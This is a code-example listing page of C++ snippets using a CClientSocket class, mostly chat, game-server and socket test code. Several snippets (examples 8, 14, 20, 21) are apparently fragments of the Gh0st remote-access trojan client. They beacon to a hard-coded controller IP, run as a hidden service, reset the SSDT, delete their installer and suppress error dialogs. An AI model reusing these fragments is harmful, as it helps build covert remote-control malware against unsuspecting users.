Ejemplo n.º 1
0
// Handle all our clients
void CServerSocket::HandleClients( fd_set* fds )
{
    for(UINT i=0;i<ClientList.size( );i++)
	{
        CClientSocket* client = ClientList.at( i );
        if(!client->isActive)
            continue;
		if(FD_ISSET( client->sock, fds ))
		{
            if (client->isserver == true)
            {
               //Log( MSG_INFO,"ISC PACKET");
               if(!client->ISCThread()){
               client->isActive = false;
               DisconnectClient( client );}
            }
            else
			if(!client->ReceiveData( ) )
			{
                client->isActive = false;
                DisconnectClient( client ); 
			}
		}
	}  
}
Ejemplo n.º 2
0
int main(int argc ,char *argv[])
{
	char *addr = NULL;
	int port;
	if(argc == 1)
	{
		addr = "127.0.0.1";
		port = 8800;
	}else if(argc == 2){
		addr = argv[1];
		port = 8800;
	}else if(argc == 3){
		addr = argv[1];
		port = atoi(argv[2]);
	}else{
		cout<<"error:"<<argv[0]<<" ipaddress portnumber"<<endl;
		return -1;
	}

	CClientSocket *ccs = new CClientSocket(addr, port);

	ccs->startThread();
	
	ccs->joinHost();
	
	delete ccs;

	return 0;
}
Ejemplo n.º 3
0
int CServerSocket::TcpAccept(CClientSocket& socket)
{
  struct sockaddr_in client;
  socklen_t clientlen = sizeof(client);

  if (m_sock == -1)
  {
    m_error = "socket closed";
    return FAIL;
  }

  int returnv = WaitForSocket(false, "Accept");  //wait for socket to become readable
  if (returnv == FAIL || returnv == TIMEOUT)
    return returnv;
  
  int sock = accept(m_sock, reinterpret_cast<struct sockaddr*>(&client), &clientlen);
  if (sock < 0)
  {
    m_error = "accept() " + GetErrno();
    return FAIL;
  }

  if (socket.SetInfo(inet_ntoa(client.sin_addr), ntohs(client.sin_port), sock) != SUCCESS)
  {
    m_error = socket.GetError();
    return FAIL;
  }
  
  return SUCCESS;
}
Ejemplo n.º 4
0
void CClientSocket::UpdateUserOline(CString strUserInfo,char from[20])
 {
	 HEADER head;
	 head.type = MSG_UPDATE;
	 head.SendLen = strUserInfo.GetLength()*2;
	 memset(head.from, 0, sizeof(head.from));
	 memset(head.beizhu,0,sizeof(head.beizhu));
	 memset(head.to,0,sizeof(head.to));
	 strcpy(head.from,from);
	 char *pSend = new char[head.SendLen];
	 memset(pSend, 0, head.SendLen);

	 if( !WChar2MByte(strUserInfo.GetBuffer(0), pSend, head.SendLen))
	 {
		 AfxMessageBox(_T("用户全部退出!"));
		 delete pSend;
		 return;
	 }
	POSITION pss = m_List->GetHeadPosition();  //循环对客户端发送消息
	while(pss!=NULL)
	{
		 CClientSocket* pTemp = (CClientSocket*)m_List->GetNext(pss);
		//发送协议头
		pTemp->Send((char*)&head, sizeof(head));
		pTemp->Send(pSend,head.SendLen ); 
	}	
	delete pSend;
 }
Ejemplo n.º 5
0
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)   
{
	CClientSocket *pThis = (CClientSocket *)lparam;
	char	buff[MAX_RECV_BUFFER];
	fd_set fdSocket;
	FD_ZERO(&fdSocket);
	FD_SET(pThis->m_Socket, &fdSocket);
	while (pThis->IsRunning())
	{
		fd_set fdRead = fdSocket;
		int nRet = select(NULL, &fdRead, NULL, NULL, NULL);
		if (nRet == SOCKET_ERROR)
		{
			pThis->Disconnect();
			break;
		}
		if (nRet > 0)
		{
			memset(buff, 0, sizeof(buff));
			int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);
			if (nSize <= 0)
			{
				pThis->Disconnect();
				break;
			}
			if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);
		}
	}

	return -1;
}
Ejemplo n.º 6
0
int main()
{
    CClientSocket Client;

    // Create the socket to communicate with the Server
    if (!Client.Create(AF_INET, SOCK_STREAM)) {
        cout << "Failed to create socket\n" ;
        return 0;
    }

    // Connect to the server
    if (SOCKET_ERROR == Client.Connect("127.0.0.1", "3000")) {
        cout << "Failed to connect to server. Was it running?\n";
        return 0;
    }

    cout << "Connected to server.\n";
    cout << "Type data to send, type quit to exit\n";
    // Monitor the client socket for network events, such as data ready to receive
    Client.StartEvents();
    // Send data to the server
    string s;

    for (;;) {  // Infinite loop
        getline(cin, s);

        if (s == "quit") break;

        int i = Client.Send(s.c_str(), (int)s.length(), 0);
        cout << "Sending  " << i << " characters\n";
    }

    return 0;
}
Ejemplo n.º 7
0
void CClientDlg::OnBnClickedStop()
{
	SetAppState(ST_STOPING);

	for(size_t i = 0; i < m_vtClients.Size(); i++)
	{
		CClientSocket* pSocket = m_vtClients[i];

		if(pSocket->Stop())
			::LogClientStop((DWORD)i + 1);
		else
			ASSERT(FALSE);
	}

	::WaitWithMessageLoop(100L);

	CString strMsg;
	strMsg.Format(	_T(" *** Summary: expect -  %lld, send - %lld, recv - %lld"),
					m_llExpectReceived, m_llTotalSent, m_llTotalReceived);

	::LogMsg(strMsg);

	if(m_llExpectReceived == m_llTotalSent && m_llTotalSent == m_llTotalReceived)
		strMsg.Format(_T(" *** Success: time consuming -  %u millisecond !"), m_dwTimeconsuming);
	else
		strMsg.Format(_T(" *** Fail: manual terminated ? (or data lost)"));

	::LogMsg(strMsg);

	SetAppState(ST_STOPED);
}
Ejemplo n.º 8
0
UINT WINAPI Loop_FileManager(void* managerHandle)
{
	CClientSocket	socketClient;
	if (!socketClient.Connect(CKernelManager::m_ServerHost, CKernelManager::m_ServerPort))
		return -1;
	CFileManager	manager(&socketClient,(DWORD)managerHandle);
	socketClient.run_event_loop();
	return 0;
}
Ejemplo n.º 9
0
void CServer::incomingConnection(int handle)
{
    CClientSocket *client = new CClientSocket();
    //client->SetSocket(handle);
    client->SetSocket(handle);

    connect(client,SIGNAL(sendSignal(saveStruct&)),this,SLOT(sendMessage(saveStruct&)));
    connect(client,SIGNAL(deleteSignal(QString&)),this,SLOT(disconnect(QString&)));
}
Ejemplo n.º 10
0
void CServerSocket::OnAccept(int nErrorCode)
{
	CSingleLock sl(&m_csClientLock, TRUE);

	if( nErrorCode != 0 )
	{
		TRACE("CServerSocket::OnAccept Error : %d\n", ::WSAGetLastError());
	}
	else
	{
		// 빈 클라이언트를 찾는다
		long nClientID = -1;
		long nMaxClient = (long)m_vecnbClientUsed.size();
		for(long i = 0; i < nMaxClient; i++)
		{
			if(m_vecnbClientUsed[i] == FALSE)
			{
				nClientID = i;
				break;
			}
		}
		if(nClientID != -1)
		{
			if(m_vecpClient[nClientID] == NULL)
				m_vecpClient[nClientID] = new CClientSocket;

			CClientSocket *pCurSocket = m_vecpClient[nClientID];
			pCurSocket->InitClient(m_nClientStartID + nClientID, m_hParentWnd, m_bUseReceiveCallback, m_pParentPtr, __CallbackDataReceive);
			m_vecnbClientUsed[nClientID] = TRUE;
			m_vecpClient[nClientID]->m_bConnect = TRUE;
			Accept(*pCurSocket, NULL, NULL);

			TRACE("CServerSocket::OnAccept\n");
			if(m_hParentWnd)
				::PostMessage(m_hParentWnd, UWM_SOCKET_UPDATE_CONNECTION, nClientID, EVT_CONSUCCESS);
			else
				__CallbackDataReceive(m_pParentPtr, nClientID, (BYTE *) - 1, EVT_CONSUCCESS);
		}
		else
		{
			CSocket Socket;
			Accept(Socket, NULL, NULL);
			Socket.ShutDown();
			Socket.Close();
		}
	}

	CAsyncSocket::OnAccept(nErrorCode);
}
Ejemplo n.º 11
0
VOID CLoginProcess::RenderPatch(int nLoopTime)
{	
	RECT tRect;
	ShowWindow(g_xChatEditBox.GetSafehWnd(), SW_HIDE);
	//
	Clear((DWORD)RGB(0,0,0));

/*
	// Go Login Without Connection
	m_Progress = PRG_INTRO;
	m_fIsConnected	= CONNECT_SUCCESS;
	g_xMainWnd.ResetDXG(_SCREEN_WIDTH, _SCREEN_HEIGHT, _SCREEN_BPP, _DXG_SCREENMODE_FULLSCREEN, _DXG_DEVICEMODE_PRIMARY|_DXG_DEVICEMODE_D3D);
*/

	if(pPatch->m_bEndPatch == TRUE)//GetFtpFiles()==0l)	// Patch가 종료 되었으면
	{
		
		if(pPatch->m_bPatched == TRUE)	// Patch 되었으면 종료
		{
			delete pPatch;
			char PatchName[1024];
			ZeroMemory(PatchName,1024);
			GetCurrentDirectory(1024,PatchName);
			strcat(PatchName,MIR2_PATCH_FILE_NAME);
			//m_Progress = PRG_QUIT;
      m_Progress = PRG_INTRO;
			ShellExecute(NULL,"open",PatchName,NULL,NULL,SW_SHOWNORMAL);
			// 실행을 종료하고 외부 Patch 프로그램을 실행시킨다.
		}
		else
		{
			// 패치 한것이 없으면
			delete pPatch;

			g_xClientSocket.ConnectToServer(g_xMainWnd.GetSafehWnd(), m_szServerIP, m_nServerPort);
			m_Progress = PRG_INTRO;


			// Full Screen 으로 전환
			g_xMainWnd.ResetDXG(640, 480, _SCREEN_BPP, _DXG_SCREENMODE_WINDOW, _DXG_DEVICEMODE_PRIMARY|_DXG_DEVICEMODE_D3D);
//			g_xMainWnd.ResetDXG(640, 480, _SCREEN_BPP, _DXG_SCREENMODE_FULLSCREEN, _DXG_DEVICEMODE_PRIMARY|_DXG_DEVICEMODE_D3D);
			SETRECT(tRect, SCR_LEFT, SCR_TOP, SCR_RIGHT, SCR_BOTTOM );
		}
	}
	else
	{
		// 계속 패치 해야하면
		pPatch->GetFtpFiles();
	}

	if(m_xMsgBox.IsActive())
	{
		HINSTANCE hLib;
		hLib = LoadLibrary(MESSAGE_DLL_1);
		SetErrorMessage(300,m_szErrorMsg);		// 헤당 Error 메시지 찾기
		FreeLibrary(hLib);
		MessageBox(g_xMainWnd.GetSafehWnd(),m_szErrorMsg,"Error",MB_OK);
	}
}
Ejemplo n.º 12
0
/**
 * @brief Acepta conexiones entrantes
 *
 * @return En caso de no poder aceptar ninguna conexión, devolverá false. Si se puede aceptar una conexión entrante,
 * devolverá true.
 *
 * Se intentará entablar una conexión con un cliente remoto por medio de la función SDLNet_TCP_Accept().
 * Si todo va bien, se entablará la conexión.
 */
bool CHostSocket::Accept (CClientSocket& the_client_socket) {
    TCPsocket cs;
    if ((cs = SDLNet_TCP_Accept(m_Socket))) {
        the_client_socket.SetSocket(cs);
        return true;
    }
    else
        return false;
}
Ejemplo n.º 13
0
void CServerSocket::CloseClientSocket(long nClientID)
{
	if(m_vecnbClientUsed[nClientID] != TRUE)
		return;
	if(m_vecpClient[nClientID] == NULL)
		return;

	CClientSocket *pCurClient = m_vecpClient[nClientID];
	pCurClient->ShutDown();
	pCurClient->Close();

	delete pCurClient;
	pCurClient = nullptr;

	m_vecpClient[nClientID] = NULL;
	m_vecnbClientUsed[nClientID] = FALSE;

	TRACE("CServerSocket::CloseClientSocket\n");
}
Ejemplo n.º 14
0
int main()
{
//	开机自动启动
//	CBaseSet bs;
//	bs.SetRun();
	

	string	 ServerIp;
	u_short      ServerPort = 9527;
	ServerIp = "183.184.228.68";
	HANDLE	hEvent = NULL;
	CClientSocket socketClient;
	DWORD	dwIOCPEvent;

	while(TRUE)	
	{
		if (!socketClient.Connect(ServerIp,ServerPort))
		{
			Sleep(3*60*1000);
			continue;
		}
		CKernelManager manager(&socketClient,const_cast<char*>(ServerIp.c_str()),ServerPort);
		manager.sendLoginInfo();
		socketClient.setManagerCallBack(&manager);
		Sleep(1000);

		do
		{
			hEvent = OpenEvent(EVENT_ALL_ACCESS, false, NULL);
			dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);
			Sleep(500);
		} while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);

		if (hEvent != NULL)
		{
			socketClient.Disconnect();
			CloseHandle(hEvent);
		}
		
	}
	return 0;
}
bool CHostSocket::Accept(CClientSocket& clientSocket)
{
	TCPsocket clientSock;
	
	if((clientSock = SDLNet_TCP_Accept(_socket)))
	{
		clientSocket.SetSocket(clientSock);
		return true;
	}
	else{return false;}
}
Ejemplo n.º 16
0
void CClientSocket::MSGTranslate(char* buff,int nlen,char to[20],char from[20],char beizhu[20])
{
	 HEADER head;
	 head.type = MSG_SEND;
	 head.SendLen = nlen;
	 strcpy(head.to,to);
	 strcpy(head.from,from);
	 memset(head.beizhu,0,20);

	 POSITION ps = m_List->GetHeadPosition();  //取得,所有用户的队列
	 CString str(buff);
	 int i =  strcmp(head.to,"群聊");
	 while(ps!=NULL)
	 {
		CClientSocket* pTemp = (CClientSocket*)m_List->GetNext(ps);
		//实现群聊和一对一关键就在于此
		if(pTemp->m_strName==head.to || pTemp->m_strName==head.from || i==0 )
		{
			pTemp->Send(&head,sizeof(HEADER));  //先发送头部
			pTemp->Send(buff, nlen);			//再发送内容
		}
	 }
}
Ejemplo n.º 17
0
	UINT
#else
	DWORD
#endif
	WINAPI CClientSocket::WorkerThreadProc(LPVOID pv)
{
	TRACE1("---------------> Worker Thread 0x%08X started <---------------\n", ::GetCurrentThreadId());

	CClientSocket* pClient	= (CClientSocket*)pv;
	HANDLE hEvents[]		= {pClient->m_evSocket, pClient->m_evBuffer, pClient->m_evStop};

	pClient->m_rcBuffer.Malloc(pClient->m_dwSocketBufferSize);

	while(pClient->HasStarted())
	{
		DWORD retval = ::WSAWaitForMultipleEvents(3, hEvents, FALSE, WSA_INFINITE, FALSE);

		if(retval == WSA_WAIT_EVENT_0)
		{
			if(!pClient->ProcessNetworkEvent())
			{
				if(pClient->HasStarted())
					pClient->Stop();

				break;
			}
		}
		else if(retval == WSA_WAIT_EVENT_0 + 1)
		{
			if(!pClient->SendData())
			{
				if(pClient->HasStarted())
					pClient->Stop();

				break;
			}
		}
		else if(retval == WSA_WAIT_EVENT_0 + 2)
			break;
		else
			ASSERT(FALSE);
	}

	TRACE1("---------------> Worker Thread 0x%08X stoped <---------------\n", ::GetCurrentThreadId());

	return 0;
}
Ejemplo n.º 18
0
// Handle client socket (threads)
PVOID ClientMainThread( PVOID ClientSocket )
{
    CClientSocket* thisplayer = (CClientSocket*) ClientSocket;
	fd_set fds;    
    while(thisplayer->isActive)
    {
        FD_ZERO(&fds);
        FD_SET (thisplayer->sock, &fds);
        int Select = select( thisplayer->sock+1, &fds, NULL, NULL, NULL );
        if(Select == SOCKET_ERROR)
        {
            Log( MSG_ERROR,NULL,"Error in Select");
            thisplayer->isActive = false;
        }
        else
        {
            if(FD_ISSET( thisplayer->sock, &fds ))
            {
                if (thisplayer->isserver == true)
                {
                   //Log( MSG_INFO,"ISC PACKET");
                   thisplayer->ISCThread();
                }
                else
                if(!thisplayer->ReceiveData( ))
                {
                    thisplayer->isActive = false;
                }
            }
        }   
             
    }   
    thisplayer->GS->DisconnectClient( thisplayer );     
    pthread_exit(NULL);  
	return 0 ;
}
Ejemplo n.º 19
0
void CClientDlg::OnBnClickedStart()
{
	CString strAddress;
	CString strPort;
	CString strTestTimes;
	CString strTestInterv;
	CString strThreadCount;
	CString strThreadInterv;
	CString strDataLen;

	m_Address.GetWindowText(strAddress);
	m_Port.GetWindowText(strPort);
	m_TestTimes.GetWindowText(strTestTimes);
	m_TestInterv.GetWindowText(strTestInterv);
	m_ThreadCount.GetWindowText(strThreadCount);
	m_ThreadInterv.GetWindowText(strThreadInterv);
	m_DataLen.GetWindowText(strDataLen);

	m_strAddress	= strAddress.Trim();
	m_usPort		= (USHORT)_ttoi(strPort);
	m_iTestTimes	= _ttoi(strTestTimes);
	m_iTestInterv	= _ttoi(strTestInterv);
	m_iThreadCount	= _ttoi(strThreadCount);
	m_iThreadInterv	= _ttoi(strThreadInterv);
	m_iDataLen		= _ttoi(strDataLen);

	if(!CheckParams())
		return;

	SetAppState(ST_STARTING);

	m_dwBeginTickCount	= 0;
	m_dwEndTickCount	= 0;
	m_dwTimeconsuming	= 0;
	m_llTotalReceived	= 0;
	m_llTotalSent		= 0;
	m_llExpectReceived	= (LONGLONG)m_iTestTimes * (LONGLONG)m_iThreadCount * (LONGLONG)m_iDataLen;

	m_vtClients.Clear();
	m_sendBuffer.Malloc(m_iDataLen, true);

	for(int i = 0; i < m_iThreadCount; i++)
	{
		smart_simple_ptr<CClientSocket> pSocket = new CClientSocket(this);

		if(pSocket->Start(m_strAddress, m_usPort))
			m_vtClients->push_back(pSocket.release());
		else
		{
			::LogClientStartFail(pSocket->GetLastError(), pSocket->GetLastErrorDesc());
			m_vtClients.Clear();
			m_sendBuffer.Free();
			SetAppState(ST_STOPED);
			return;
		}
	}

	::LogClientStart(m_strAddress, m_usPort);

	DWORD dwSendDelay = 3;
	CString strMsg;

	strMsg.Format(_T(" *** willing to send data after %d seconds ..."), dwSendDelay);
	::LogMsg(strMsg);
	::WaitWithMessageLoop(dwSendDelay * 1000);

	SetAppState(ST_STARTED);

	m_dwBeginTickCount = ::GetTickCount();

	BOOL bTerminated = FALSE;
	for(int i = 0; !bTerminated && i < m_iTestTimes; i++)
	{
		for(int j = 0; !bTerminated && j < m_iThreadCount; j++)
		{
			CClientSocket* pSocket = m_vtClients[j];
			if(!pSocket->Send(pSocket->GetConnectionID(), m_sendBuffer, (int)m_sendBuffer.Size()))
			{
				::LogClientSendFail(i + 1, j + 1, pSocket->GetLastError(), pSocket->GetLastErrorDesc());
				bTerminated = TRUE;
				break;
			}

			if(m_iThreadInterv > 0 && j + 1 < m_iThreadCount)
				::WaitWithMessageLoop(m_iThreadInterv);
		}

		if(m_iTestInterv > 0 && i + 1 < m_iTestTimes)
			::WaitWithMessageLoop(m_iTestInterv);
	}
}
Ejemplo n.º 20
0
DWORD WINAPI main(char *lpServiceName)
#endif
{
#ifdef _CONSOLE
	if (argc < 3)
	{
		printf("Usage:\n %s <Host> <Port>\n", argv[0]);
		return -1;
	}
#endif
	// lpServiceName,在ServiceMain返回后就没有了
	char	strServiceName[256];
	char	strKillEvent[50];
	HANDLE	hInstallMutex = NULL;
#ifdef _DLL
	char	*lpURL = (char *)FindConfigString(CKeyboardManager::g_hInstance, "AAAAAA");
	if (lpURL == NULL)
	{
		return -1;
	}

	//////////////////////////////////////////////////////////////////////////
	// Set Window Station
	HWINSTA hOldStation = GetProcessWindowStation();
	HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);
	if (hWinSta != NULL)
		SetProcessWindowStation(hWinSta);
	//
	//////////////////////////////////////////////////////////////////////////
	

	if (CKeyboardManager::g_hInstance != NULL)
	{
		SetUnhandledExceptionFilter(bad_exception);
		ResetSSDT();
		
		lstrcpy(strServiceName, lpServiceName);
		wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名

		hInstallMutex = CreateMutex(NULL, true, lpURL);
		ReConfigService(strServiceName);
		// 删除安装文件
		DeleteInstallFile(lpServiceName);
	}
	// http://hi.baidu.com/zxhouse/blog/item/dc651c90fc7a398fa977a484.html
#endif
	// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
	SetErrorMode( SEM_FAILCRITICALERRORS);
	char	*lpszHost = NULL;
	DWORD	dwPort = 80;
	char	*lpszProxyHost = NULL;
	DWORD	dwProxyPort = 0;
	char	*lpszProxyUser = NULL;
	char	*lpszProxyPass = NULL;

	HANDLE	hEvent = NULL;

	CClientSocket socketClient;
	BYTE	bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接
	while (1)
	{
		// 如果不是心跳超时,不用再sleep两分钟
		if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
		{
			// 2分钟断线重连, 为了尽快响应killevent
			for (int i = 0; i < 2000; i++)
			{
				hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
				if (hEvent != NULL)
				{
					socketClient.Disconnect();
					CloseHandle(hEvent);
					break;
					break;
					
				}
				// 改一下
				Sleep(60);
			}
		}
#ifdef _DLL
		// 上线间隔为2分, 前6个'A'是标志
		if (!getLoginInfo(MyDecode(lpURL + 6), &lpszHost, &dwPort, &lpszProxyHost, 
				&dwProxyPort, &lpszProxyUser, &lpszProxyPass))
		{
			bBreakError = GETLOGINFO_ERROR;
			continue;
		}
#else
		lpszHost = argv[1];
		dwPort = atoi(argv[2]);
#endif
		if (lpszProxyHost != NULL)
			socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass);
		else
			socketClient.setGlobalProxyOption();

		DWORD dwTickCount = GetTickCount();
 		if (!socketClient.Connect(lpszHost, dwPort))
		{
			bBreakError = CONNECT_ERROR;
			continue;
		}
		// 登录
		DWORD dwExitCode = SOCKET_ERROR;
		sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);
		CKernelManager	manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
		socketClient.setManagerCallBack(&manager);

		//////////////////////////////////////////////////////////////////////////
		// 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误
		for (int i = 0; (i < 10 && !manager.IsActived()); i++)
		{
			Sleep(1000);
		}
		// 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接
		if (!manager.IsActived())
			continue;

		//////////////////////////////////////////////////////////////////////////

		DWORD	dwIOCPEvent;
		dwTickCount = GetTickCount();

		do
		{
			hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
			dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);
			Sleep(500);
		} while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);

		if (hEvent != NULL)
		{
			socketClient.Disconnect();
			CloseHandle(hEvent);
			break;
		}
	}
#ifdef _DLL
	//////////////////////////////////////////////////////////////////////////
	// Restor WindowStation and Desktop	
	// 不需要恢复卓面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏
	// 	SetProcessWindowStation(hOldStation);
	// 	CloseWindowStation(hWinSta);
	//
	//////////////////////////////////////////////////////////////////////////
#endif

	SetErrorMode(0);
	ReleaseMutex(hInstallMutex);
	CloseHandle(hInstallMutex);
}
Ejemplo n.º 21
0
DWORD WINAPI main(char *lpServiceName)
{
   char	strServiceName[256];
	char	strKillEvent[50];
	HANDLE	hInstallMutex = NULL;
	//////////////////////////////////////////////////////////////////////////
	// Set Window Station
	strcpy(g_strHost,g_myAddress.strIP);
	g_dwPort=g_myAddress.nPort;
	//--这里是同窗口交互
	HWINSTA hOldStation = GetProcessWindowStation();
	HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);
	if (hWinSta != NULL)
		SetProcessWindowStation(hWinSta);
	//
	//////////////////////////////////////////////////////////////////////////
	
     //--这里判断CKeyboardManager::g_hInstance是否为空 如果不为空则开启错误处理
	 //--这里要在dllmain中为CKeyboardManager::g_hInstance赋值
	if (CKeyboardManager::g_hInstance != NULL)
	{
		SetUnhandledExceptionFilter(bad_exception);  //这里就是错误处理的回调函数了
		
		lstrcpy(strServiceName, lpServiceName);
		wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名

		hInstallMutex = CreateMutex(NULL, true, g_strHost);
		//ReConfigService(strServiceName);   //--lang--
		// 删除安装文件
	//	DeleteInstallFile(lpServiceName);     //--lang--
	}
	// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
	SetErrorMode( SEM_FAILCRITICALERRORS);
	char	*lpszHost = NULL;
	DWORD	dwPort = 80;
	char	*lpszProxyHost = NULL;
	DWORD	dwProxyPort = 0;
	char	*lpszProxyUser = NULL;
	char	*lpszProxyPass = NULL;

	HANDLE	hEvent = NULL;
    
	//---这里声明了一个 CClientSocket类
	CClientSocket socketClient;
	BYTE	bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接
	//--这里判断是否连接成功如果不成功则继续向下
	while (1)
	{
		// 如果不是心跳超时,不用再sleep两分钟
		if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
		{
			// 2分钟断线重连, 为了尽快响应killevent
			for (int i = 0; i < 2000; i++)
			{
				hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
				if (hEvent != NULL)
				{
					socketClient.Disconnect();      
					CloseHandle(hEvent);
					break;
					break;
					
				}
				// 改一下
				Sleep(60);
			}
		}
       //上线地址
		lpszHost = g_strHost;
		dwPort = g_dwPort;

		if (lpszProxyHost != NULL)
			socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass);
		else
			socketClient.setGlobalProxyOption();

		DWORD dwTickCount = GetTickCount();
		//---调用Connect函数向主控端发起连接
		OutputDebugString(lpszHost);
 		if (!socketClient.Connect(lpszHost, dwPort))
		{
			bBreakError = CONNECT_ERROR;       //---连接错误跳出本次循环
			continue;
		}
		// 登录
		DWORD dwExitCode = SOCKET_ERROR;
		sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);
		//---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下
		CKernelManager	manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
		socketClient.setManagerCallBack(&manager);

		//////////////////////////////////////////////////////////////////////////
		// 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误
		for (int i = 0; (i < 10 && !manager.IsActived()); i++)
		{
			Sleep(1000);
		}
		// 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接
		if (!manager.IsActived())
			continue;

		//////////////////////////////////////////////////////////////////////////

		DWORD	dwIOCPEvent;
		dwTickCount = GetTickCount();

		do
		{
			hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
			dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);
			Sleep(500);
		} while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);

		if (hEvent != NULL)
		{
			socketClient.Disconnect();
			CloseHandle(hEvent);
			break;
		}
	}
#ifdef _DLL
	//////////////////////////////////////////////////////////////////////////
	// Restor WindowStation and Desktop	
	// 不需要恢复卓面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏
	// 	SetProcessWindowStation(hOldStation);
	// 	CloseWindowStation(hWinSta);
	//
	//////////////////////////////////////////////////////////////////////////
#endif

	SetErrorMode(0);
	ReleaseMutex(hInstallMutex);
	CloseHandle(hInstallMutex);

}
Ejemplo n.º 22
0
void CLoginProcess::OnSocketMessageRecieve(char *pszMsg)
{
	INT	nMsgNum;
	_TDEFAULTMESSAGE	tdm;

	fnDecodeMessage(&tdm, pszMsg);

	switch(tdm.wIdent)
	{
		// ID Not Found
		case SM_ID_NOTFOUND:
		{
			m_Progress	= PRG_LOGIN;
			SetErrorMessage(23,m_szErrorMsg);
			m_xMsgBox.ShowMessageBox(m_szErrorMsg, 1, _WNDIMGINDX_MSGBOX1);
			break;
		}
		// Incorrect Password
		case SM_PASSWD_FAIL:
		{
			m_Progress	= PRG_LOGIN;
			
			if(tdm.nRecog==(-2))
				nMsgNum = ERROR_STR_LOGIN_3;
			else
				nMsgNum = ERROR_STR_LOGIN_2;
			SetErrorMessage(nMsgNum,m_szErrorMsg);
			m_xMsgBox.ShowMessageBox(m_szErrorMsg, 1, _WNDIMGINDX_MSGBOX1);
			break;
		}

		case SM_CERTIFICATION_FAIL:
		{
			SetErrorMessage(FATAL_ERROR_STR,m_szErrorMsg);
			m_xMsgBox.ShowMessageBox(m_szErrorMsg, 1, _WNDIMGINDX_MSGBOX1);			// 용기
			break;
		}

		case SM_PASSOK_SELECTSERVER:
		{
			m_xSelectSrv.OpenWnd();
			m_Progress = PRG_SERVER_SELE;
			Clear(RGB(0,0,0));
//			g_xClientSocket.OnSelectServer(NULL);

			break;
		}

		case SM_NEWID_SUCCESS:	
		{
			m_Progress = PRG_LOGIN;
			m_UserState = LGM_INPUT_ID;
			ZeroMemory(g_xChatEditBox.m_szInputMsg,sizeof(g_xChatEditBox.m_szInputMsg));
			SetFocusAfter();

			SetErrorMessage(NEW_ACCOUNT_WELL_DONE,m_szErrorMsg);
			m_xMsgBox.ShowMessageBox(m_szErrorMsg, 1, _WNDIMGINDX_MSGBOX1);
			break;
		}
		// New ID Create Fail
		case SM_NEWID_FAIL:
		{
			m_Progress	= PRG_NEW_ACCOUNT;

			switch(tdm.nRecog)
			{
			case 1:
				nMsgNum=ERROR_STR_NEW_ACCOUNT_1;
				break;
			case 2:
				nMsgNum=ERROR_STR_NEW_ACCOUNT_6;
				break;
			case 3:
				nMsgNum=ERROR_STR_NEW_ACCOUNT_7;
				break;
			}
			SetErrorMessage(nMsgNum,m_szErrorMsg);
			m_xMsgBox.ShowMessageBox(m_szErrorMsg, 1, _WNDIMGINDX_MSGBOX1);
			break;
		}
		// Change Password Success
		case SM_CHGPASSWD_SUCCESS:
		{
			m_Progress	= PRG_LOGIN;
			break;
		}
		// Change Passsword Fail
		case SM_CHGPASSWD_FAIL:
		{
			m_Progress	= PRG_CHANGE_PASS;	
			break;	
		}

		case SM_SELECTSERVER_OK:
		{
			char szDecodeMsg[256];
			char *pszIP = szDecodeMsg, *pszPort, *pszIdenty;

			ZeroMemory(szDecodeMsg, sizeof(szDecodeMsg));

			fnDecode6BitBuf((pszMsg + DEFBLOCKSIZE), szDecodeMsg, sizeof(szDecodeMsg));

			if (pszPort = strchr(szDecodeMsg, '/')){
				*pszPort = '\0';
				pszPort++;

				if (pszIdenty = strchr(pszPort, '/')){
					*pszIdenty = '\0';
					pszIdenty++;

					strcpy(g_szServerIP, pszIP);
					g_nServerPort = atoi(pszPort);

					m_nAnimationCounter = 0;
					
					g_nCertifyCode = tdm.nRecog;
					g_xClientSocket.DisconnectToServer();

					Clear(RGB(0,0,0));
					m_Progress	= PRG_TO_SELECT_CHR;
				}
			}
			break;
		}
		// Connection Lost(close Connection)
		case	SM_OUTOFCONNECTION:
		{
			m_Progress	= PRG_QUIT;									// Quit for Some Reason		프로그램 종료
			SendMessage(g_xMainWnd.GetSafehWnd(), WM_DESTROY, NULL, NULL);
			break;
		}
	}
/*	
	switch(tdm.wIdent)
	{
